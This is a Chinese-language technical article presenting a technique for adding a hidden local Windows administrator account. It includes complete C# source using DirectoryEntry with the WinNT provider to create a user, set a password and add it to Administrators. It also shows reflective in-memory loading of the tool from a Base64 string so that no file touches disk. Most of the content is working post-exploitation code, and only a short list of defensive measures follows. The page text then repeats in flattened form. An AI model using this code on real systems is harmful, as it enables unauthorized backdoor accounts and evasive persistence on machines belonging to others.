Bypass Add Local user
字数 803 2025-08-06 20:12:41

Bypass Add Local User 技术文档

目录

  1. 技术概述
  2. 核心原理
  3. 实现步骤
  4. 完整代码分析
  5. 防御措施

技术概述

本文介绍了一种使用DirectoryEntry类绕过常规方式添加本地用户的技术,主要利用Windows的WinNT提供程序直接操作本地用户和组。该技术可以用于渗透测试中的权限提升和后渗透阶段。

核心原理

  1. WinNT提供程序:通过WinNT://hostname,computer路径访问本地计算机的用户和组
  2. DirectoryEntry类:System.DirectoryServices命名空间下的类,用于与Active Directory和本地SAM数据库交互
  3. 反射加载:将程序集转换为Base64字符串,运行时动态加载执行,避免文件落地

实现步骤

添加本地用户

  1. 获取主机名:
string hostname = Dns.GetHostName();
// 或
string hostname = Environment.MachineName;
  1. 创建DirectoryEntry实例连接本地计算机:
DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
  1. 添加新用户:
string username = "testuseradd";
string password = "1qaz@WSX..";
DirectoryEntry user = DE.Children.Add(username, "user");
  1. 设置密码并提交更改:
user.Invoke("SetPassword", new object[] { password });
user.CommitChanges();

添加到管理员组

  1. 枚举本地组(解决多语言环境下管理员组名称不同的问题):
foreach (DirectoryEntry entry in DE.Children)
{
    if (entry.SchemaClassName == "Group")
    {
        Console.WriteLine(entry.Name);
    }
}
  1. 找到管理员组并添加用户:
DirectoryEntry group = DE.Children.Find("Administrators", "group");
if (group != null)
{
    group.Invoke("Add", new object[] { user.Path.ToString() });
}

反射加载技术

  1. 将程序集转换为Base64字符串:
byte[] buffer = File.ReadAllBytes("AddUser.exe");
string base64str = Convert.ToBase64String(buffer);
  1. 运行时加载并执行:
byte[] buffer = Convert.FromBase64String(base64str);
Assembly assembly = Assembly.Load(buffer);

// 调用ListGroup方法
Type type = assembly.GetType("AddUser.Test");
MethodInfo method = type.GetMethod("ListGroup");
Object obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, new object[] { hostname, DE });

// 调用Add方法
method = type.GetMethod("Add");
obj = assembly.CreateInstance(method.Name);
method.Invoke(obj, new object[] { username, password, DE });

完整代码分析

主程序结构

using System;
using System.DirectoryServices;
using System.Net;

namespace AddUser
{
    internal class Program
    {
        static void Main(string[] args)
        {
            string hostname = Dns.GetHostName();
            DirectoryEntry DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
            
            if (args.Length == 1 && args[0] == "--list")
            {
                ListGroup(hostname, DE);
            }
            else if (args.Length == 6 && args[0] == "-u" && args[2] == "-p" && args[4] == "-l")
            {
                string username = args[1];
                string password = args[3];
                string groupname = args[5];
                try
                {
                    Add(username, password, DE);
                }
                catch (Exception e)
                {
                    Console.WriteLine(e.Message);
                }
            }
        }

        public static void ListGroup(string hostname, DirectoryEntry DE)
        {
            hostname = Dns.GetHostName();
            DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
            foreach (DirectoryEntry entry in DE.Children)
            {
                if (entry.SchemaClassName == "Group")
                {
                    Console.WriteLine(entry.Name);
                }
            }
        }

        public static void Add(string username, string password, DirectoryEntry DE)
        {
            DirectoryEntry user = DE.Children.Add(username, "user");
            user.Invoke("SetPassword", new object[] { password });
            user.CommitChanges();
            
            DirectoryEntry group;
            group = DE.Children.Find("Administrators", "group");
            if (group != null)
            {
                group.Invoke("Add", new object[] { user.Path.ToString() });
                Console.WriteLine("[*] Account Created Successfully");
                Console.WriteLine($"[+] Username: {username}\n[+] Password: {password}");
            }
        }
    }
}

反射加载专用类

public class Test
{
    public static void ListGroup(string hostname, DirectoryEntry DE)
    {
        hostname = Dns.GetHostName();
        DE = new DirectoryEntry("WinNT://" + hostname + ",computer");
        foreach (DirectoryEntry entry in DE.Children)
        {
            if (entry.SchemaClassName == "Group")
            {
                Console.WriteLine(entry.Name);
            }
        }
    }

    public static void Add(string username, string password, DirectoryEntry DE)
    {
        DirectoryEntry user = DE.Children.Add(username, "user");
        user.Invoke("SetPassword", new object[] { password });
        user.CommitChanges();
        
        DirectoryEntry group;
        group = DE.Children.Find("Administrators", "group");
        if (group != null)
        {
            group.Invoke("Add", new object[] { user.Path.ToString() });
            Console.WriteLine("[+]" + username + " Created Success");
            Console.WriteLine("[+]" + username + " add to group Success");
        }
    }
}

防御措施

  1. 监控和限制

    • 监控对DirectoryEntry类的使用,特别是WinNT://路径
    • 限制高权限账户执行此类操作
  2. 日志记录

    • 启用详细的安全日志记录,监控用户和组的创建修改操作
  3. 权限控制

    • 遵循最小权限原则,限制非管理员用户执行敏感操作
  4. 检测反射加载

    • 监控程序集的动态加载行为
    • 检测Base64字符串解码后直接加载程序集的行为
  5. 应用程序白名单

    • 实施应用程序控制策略,只允许授权程序运行
  6. 密码策略

    • 实施强密码策略,防止弱密码被利用

通过理解这些技术原理和防御措施,安全团队可以更好地检测和防范此类攻击技术。

Bypass Add Local User 技术文档 目录 技术概述 核心原理 实现步骤 添加本地用户 添加到管理员组 反射加载技术 完整代码分析 防御措施 技术概述 本文介绍了一种使用 DirectoryEntry 类绕过常规方式添加本地用户的技术,主要利用Windows的WinNT提供程序直接操作本地用户和组。该技术可以用于渗透测试中的权限提升和后渗透阶段。 核心原理 WinNT提供程序 :通过 WinNT://hostname,computer 路径访问本地计算机的用户和组 DirectoryEntry类 :System.DirectoryServices命名空间下的类,用于与Active Directory和本地SAM数据库交互 反射加载 :将程序集转换为Base64字符串,运行时动态加载执行,避免文件落地 实现步骤 添加本地用户 获取主机名: 创建DirectoryEntry实例连接本地计算机: 添加新用户: 设置密码并提交更改: 添加到管理员组 枚举本地组(解决多语言环境下管理员组名称不同的问题): 找到管理员组并添加用户: 反射加载技术 将程序集转换为Base64字符串: 运行时加载并执行: 完整代码分析 主程序结构 反射加载专用类 防御措施 监控和限制 : 监控对 DirectoryEntry 类的使用,特别是 WinNT:// 路径 限制高权限账户执行此类操作 日志记录 : 启用详细的安全日志记录,监控用户和组的创建修改操作 权限控制 : 遵循最小权限原则,限制非管理员用户执行敏感操作 检测反射加载 : 监控程序集的动态加载行为 检测Base64字符串解码后直接加载程序集的行为 应用程序白名单 : 实施应用程序控制策略,只允许授权程序运行 密码策略 : 实施强密码策略,防止弱密码被利用 通过理解这些技术原理和防御措施,安全团队可以更好地检测和防范此类攻击技术。